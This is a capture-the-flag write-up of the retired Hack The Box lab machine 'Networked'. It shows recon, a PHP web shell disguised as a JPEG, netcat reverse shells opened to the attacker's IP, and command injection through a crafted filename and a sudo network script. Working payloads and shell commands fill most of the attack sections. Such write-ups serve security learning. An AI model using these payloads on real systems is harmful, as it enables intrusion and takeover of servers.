Hack the Box | Networked | Machine

DezeStijn

2019-11-18T17:45:47+00:00

Note to fellow-HTBers: Only write-ups of retired HTB machines or challenges are allowed.

Machine info

Networked [by guly]
IP: 10.10.10.146
OS: Linux
Difficulty: Easy
Release: 24 Aug 2019

Recon

Nmap

As usual we kick off with a nmap scan of the box

```
# Nmap 7.70 scan initiated Mon Sep 16 22:03:11 2019 as: nmap -v -p- -T4 -oN scanning/nmap-allports 10.10.10.146
Nmap scan report for 10.10.10.146
Host is up (0.049s latency).
Not shown: 65532 filtered ports
PORT    STATE  SERVICE
22/tcp  open   ssh
80/tcp  open   http
443/tcp closed https

Read data files from: /usr/bin/../share/nmap
# Nmap done at Mon Sep 16 22:07:27 2019 -- 1 IP address (1 host up) scanned in 256.67 seconds
```

Ports 22 and 80 are open.
Let's start with checking the website.

The index pages shows some text, but mainly the source code is important as there's a reference to an upload functionality and a gallery.

```
<html>
<body>
Hello mate, we're building the new FaceMash!</br>
Help by funding us and be the new Tyler&Cameron!</br>
Join us at the pool party this Sat to get a glimpse
<!-- upload and gallery not yet linked -->
</body>
</html>
```

Let's run dirb to find potentially interesting folders or files.

In the first run without any extensions, using the big.txt wordlist, we find a 2 folders: backup and uploads.

```
-----------------
DIRB v2.22
By The Dark Raver
-----------------

OUTPUT_FILE: scanning/dirb_big
```

```
START_TIME: Mon Sep  9 16:49:07 2019
URL_BASE: http://10.10.10.146/
WORDLIST_FILES: /usr/share/dirb/wordlists/big.txt
OPTION: Printing LOCATION header
OPTION: Not Stopping on warning messages

-----------------

GENERATED WORDS: 20458

---- Scanning URL: http://10.10.10.146/ ----
==> DIRECTORY: http://10.10.10.146/backup/
+ http://10.10.10.146/cgi-bin/ (CODE:403|SIZE:210)
==> DIRECTORY: http://10.10.10.146/uploads/

---- Entering directory: http://10.10.10.146/backup/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
    (Use mode '-w' if you want to scan it anyway)

---- Entering directory: http://10.10.10.146/uploads/ ----

-----------------
END_TIME: Mon Sep  9 17:19:28 2019
DOWNLOADED: 61374 - FOUND: 1
```

A second run using .php as extension — since I've got the feeling we're dealing with PHP here — gives us some more interesting files.

```
-----------------
DIRB v2.22
By The Dark Raver
-----------------

OUTPUT_FILE: scanning/dirb_big_php
START_TIME: Mon Sep  9 15:48:53 2019
URL_BASE: http://10.10.10.146/
WORDLIST_FILES: /usr/share/dirb/wordlists/big.txt
OPTION: Printing LOCATION header
EXTENSIONS_LIST: (.php) | (.php) [NUM = 1]

-----------------

GENERATED WORDS: 20458

---- Scanning URL: http://10.10.10.146/ ----
+ http://10.10.10.146/index.php (CODE:200|SIZE:229)
+ http://10.10.10.146/lib.php (CODE:200|SIZE:0)
+ http://10.10.10.146/photos.php (CODE:200|SIZE:1306)
+ http://10.10.10.146/upload.php (CODE:200|SIZE:169)

-----------------
END_TIME: Mon Sep  9 15:59:10 2019
DOWNLOADED: 20458 - FOUND: 4
```

Let's have a look at the upload and photos pages.

{{< figure src="/img/htb-networked-img1.png" alt="Screenshot of upload.php" position="center" caption="upload.php" captionPosition="center" >}}

{{< figure src="/img/htb-networked-img2.png" alt="Screenshot of photos.php" position="center" caption="photos.php" captionPosition="center" >}}

I download one of the CentOS images and upload it at upload.php.
After uploading the image, I get `file uploaded, refresh gallery`. I refresh photos.php and now see a new image, named

`uploaded by 10_10_12_221.png` . This means the service also does some renaming of the files.

Looking in the backup folder, we find a .tar file containing multiple PHP files.

{{< figure src="/img/htb-networked-img3.png" alt="/backup/" position="center" caption="/backup/" captionPosition="center" >}}

```
$ tar -tf backup.tar
index.php
lib.php
photos.php
upload.php
```

`upload.php` is ofcourse of most interest at the moment.
Let's have a look

```php
<?php
require '/var/www/html/lib.php';

# Files will be stored in this folder
# Useful to know if we get command injection, to know where we might be starting from
define("UPLOAD_DIR", "/var/www/html/uploads/");

if( isset($_POST['submit']) ) {
  if (!empty($_FILES["myFile"])) {
    $myFile = $_FILES["myFile"];

# Check the filetype of the image, calling an external method (lib.php?)
# and if filesize is smaller than 60 kilobytes
    if (!(check_file_type($_FILES["myFile"]) && filesize($_FILES['myFile']['tmp_name']) < 60000)) {
      echo '<pre>Invalid image file.</pre>';
      displayform();
    }

    if ($myFile["error"] !== UPLOAD_ERR_OK) {
        echo "<p>An error occurred.</p>";
        displayform();
        exit;
    }

# File must have one of the following (image) extensions
# check is done by looking at end of filename
    //$name = $_SERVER['REMOTE_ADDR'].'-'. $myFile["name"];
    list ($foo,$ext) = getnameUpload($myFile["name"]);
    $validext = array('.jpg', '.png', '.gif', '.jpeg');
    $valid = false;
    foreach ($validext as $vext) {
      if (substr_compare($myFile["name"], $vext, -strlen($vext)) === 0) {
        $valid = true;
      }
    }

    if (!($valid)) {
      echo "<p>Invalid image file</p>";
      displayform();
      exit;
    }

# Get remote IP (IP of uploader)
# Replace dots by underscores
# Move file to upload dir, renaming it
    $name = str_replace('.','_',$_SERVER['REMOTE_ADDR']).'.'.$ext;
    $success = move_uploaded_file($myFile["tmp_name"], UPLOAD_DIR . $name);
    if (!$success) {
        echo "<p>Unable to save file.</p>";
        exit;
    }
    echo "<p>file uploaded, refresh gallery</p>";

    // set proper permissions on the new file
    chmod(UPLOAD_DIR . $name, 0644);
  }
} else {
  displayform();
}
?>
```

Notice that the error message differs depending on the check it failed. This might be used in a blind attack, where you don't know the code but have to base your actions on the resulting error messages.

Let's also look at `lib.php` to get some more info on that `check_file_type` method. Looks like the image MIME type must start with `image/`. Note that the MIME type is based on the magic bytes at the start of the file (at least in PHP).

```
function check_file_type($file) {
  $mime_type = file_mime_type($file);
  if (strpos($mime_type, 'image/') === 0) {
      return true;
  } else {
      return false;
  }
}
```

Get user

So to try to get a web shell, we need to create a file that has the correct magic bytes, has a correct extension and might be executed by the web server (e.g. because of a second file extension).

Let's create `shell.php.jpg`. Note the magic bytes at the beginning of the file.

```
   # FF D8 FF DB / ÿØÿÛ
<form action="" method="get">
Command: <input type="text" name="cmd" /><input type="submit" value="Exec" />
</form>
Output:<br />
<pre><?php passthru($_REQUEST['cmd'], $result); ?></pre>
```

```
00000000: ffd8 ffe0 0a3c 666f 726d 2061 6374 696f  .....<form actio
00000010: 6e3d 2222 206d 6574 686f 643d 2267 6574  n="" method="get
00000020: 223e 0a43 6f6d 6d61 6e64 3a20 3c69 6e70  ">.Command: <inp
00000030: 7574 2074 7970 653d 2274 6578 7422 206e  ut type="text" n
00000040: 616d 653d 2263 6d64 2220 2f3e 3c69 6e70  ame="cmd" /><inp
00000050: 7574 2074 7970 653d 2273 7562 6d69 7422  ut type="submit"
00000060: 2076 616c 7565 3d22 4578 6563 2220 2f3e   value="Exec" />
00000070: 0a3c 2f66 6f72 6d3e 0a4f 7574 7075 743a  .</form>.Output:
00000080: 3c62 7220 2f3e 0a3c 7072 653e 3c3f 7068  <br />.<pre><?ph
00000090: 7020 7061 7373 7468 7275 2824 5f52 4551  p passthru($_REQ
000000a0: 5545 5354 5b27 636d 6427 5d2c 2024 7265  UEST['cmd'], $re
000000b0: 7375 6c74 293b 203f 3e3c 2f70 7265 3e0a  sult); ?></pre>.
```

We upload this file at `upload.php` and then go to the gallery at `photos.php`. There we find a broken image, which we can open (in a new tab) to access our web shell.

{{< figure src="/img/htb-networked-img4.png" alt="Web Shell" position="center" caption="Web shell" captionPosition="center" >}}

As to not have to run every command from this web shell, we open a netcat listener on our device and make the target host connect to us.

```
# On our host
$ nc -lvp 1337
listening on [any] 1337 ...

# In the web shell
nc 10.10.15.192 1337 -e /bin/bash

# Incoming connection
10.10.10.146: inverse host lookup failed: Unknown host
connect to [10.10.15.192] from (UNKNOWN) [10.10.10.146] 60570
python -c 'import pty;pty.spawn("/bin/bash");'
# Ctrl+Z (background this process)
$ stty raw -echo
$ fg # Re-actve netcat process

bash-4.2$ export TERM=xterm # Prettify the shell (so I can use clear/Ctrl+L, etc)
bash-4.2$ id
id
uid=48(apache) gid=48(apache) groups=48(apache)
```

We go to the home folder of the user, to try and find the user flag. Sadly enough it's not readable by the apache user.

```
bash-4.2$ ls /home
guly
bash-4.2$ ls /home/guly/
check_attack.php  crontab.guly  user.txt
bash-4.2$ ls -l /home/guly/
total 12
-r--r--r--. 1 root root 782 Oct 30  2018 check_attack.php
-rw-r--r--  1 root root  44 Oct 30  2018 crontab.guly
-r--------. 1 guly guly  33 Oct 30  2018 user.txt
```

The crontab file seems to be worth having a look at.

```
*/3 * * * * php /home/guly/check_attack.php
```

Looks like it `check_attack.php` is executed every three minutes. Let's check that file.

```
# [...]
$files = preg_grep('/^([^.])/', scandir($path)); # Get files in dir ($path = /var/www/html/uploads/)
# [...]
  list ($name,$ext) = getnameCheck($value); # Call function that splits name and ext
  $check = check_ip($name,$value); # Do a check on the name

# If the check failed (first value in returned array is not true)
  if (!($check[0])) {
    echo "attack!\n";
    file_put_contents($logpath, $msg, FILE_APPEND | LOCK_EX);

    exec("rm -f $logpath");
# Exec does OS commands
# We can control the filename, so break out of the rm
    exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");
    echo "rm -f $path$value\n";
    mail($to, $msg, $msg, $headers, "-F$value");
  }
# [...]
```

This script also refers to `lib.php` for the check_ip method.

```
function check_ip($prefix,$filename) {
  //echo "prefix: $prefix - fname: $filename<br>\n";
  $ret = true;
  if (!(filter_var($prefix, FILTER_VALIDATE_IP))) {
    $ret = false;
    $msg = "4tt4ck on file ".$filename.": prefix is not a valid ip ";
  } else {
    $msg = $filename;
  }
  return array($ret,$msg);
}
```

Looks like we have to make a file with a filename that does not contain a valid IP, breaks out of the `exec(rm)` and executes a command that gives us access to the guly user.

Let's create a file that opens a netcat connection again.

```
# On our side
$ nc -lvp 1338
listening on [any] 1338 ...

# Target side
bash-4.2$ cd /var/www/html/uploads/
bash-4.2$ touch '; nc -v 10.10.15.192 1338 -e $(which bash)' # I use which because filename cannot contain /
# This would also work:
# touch '; nc -c bash -v 10.10.15.192 1338'
```

We've got the user flag

A minute or two (max three, remember the cronjob) later, we get a netcat connection with shell access as the guly user.

```
$ nc -lvp 1338
listening on [any] 1338 ...
10.10.10.146: inverse host lookup failed: Unknown host
connect to [10.10.15.192] from (UNKNOWN) [10.10.10.146] 60570
python -c 'import pty;pty.spawn("/bin/bash");'
[guly@networked ~]$ whoami
whoami
guly
[guly@networked ~]$ cat user.txt
526cfc2305f17faaacecf212c57d71c5
```

Get root

We check to see if the guly user can execute anything as sudo/root and we find 1 script which can be executed by guly.

```
[guly@networked ~]$ sudo -l
Matching Defaults entries for guly on networked:
    !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin,
    env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS",
    env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE",
    env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES",
    env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE",
    env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
    secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin

User guly may run the following commands on networked:
    (root) NOPASSWD: /usr/local/sbin/changename.sh
```

We can't modify the file, so we'll need to find a way to abuse it.

```
[guly@networked ~]$ ls -l /usr/local/sbin/changename.sh
-rwxr-xr-x 1 root root 422 Jul  8 12:34 /usr/local/sbin/changename.sh
```

Note that this script is used to source variables to a network script. There's a vulnerability here that if you include a space in any of the variables, the code appended after that space will be executed.
See this mail thread for more info.

```
#!/bin/bash -p
cat > /etc/sysconfig/network-scripts/ifcfg-guly << EoF
DEVICE=guly0
ONBOOT=no
NM_CONTROLLED=no
EoF

# Input must only contain alphanumeric, underscore, space, slash or dash
regexp="^[a-zA-Z0-9_\ /-]+$"

for var in NAME PROXY_METHOD BROWSER_ONLY BOOTPROTO; do
        echo "interface $var:"
        read x
        while [[ ! $x =~ $regexp ]]; do
                echo "wrong input, try again"
                echo "interface $var:"
                read x
        done
# $x will be read
# Including a space in the variable, will cause command execution
# e.g. $test="test" echo "hi"
#      hi
        echo $var=$x >> /etc/sysconfig/network-scripts/ifcfg-guly
done

/sbin/ifup guly0
```

So we run the script, using sudo, and pass a command in one of the variables.

```
[guly@networked ~]$ sudo /usr/local/sbin/changename.sh
interface NAME:
iface
interface PROXY_METHOD:
proxy
interface BROWSER_ONLY:
browser
interface BOOTPROTO:
proto bash
[root@networked network-scripts]# whoami
root
```

Got the root flag

```
[root@networked network-scripts]# cat /root/root.txt
0a8ecda83f1d81251099e8ac3d0dcb82
```

It took me some time to find the right filename for getting the guly user and have a script in the sudoers file was definitely a nice touch. Really like this box.

Kudos to guly!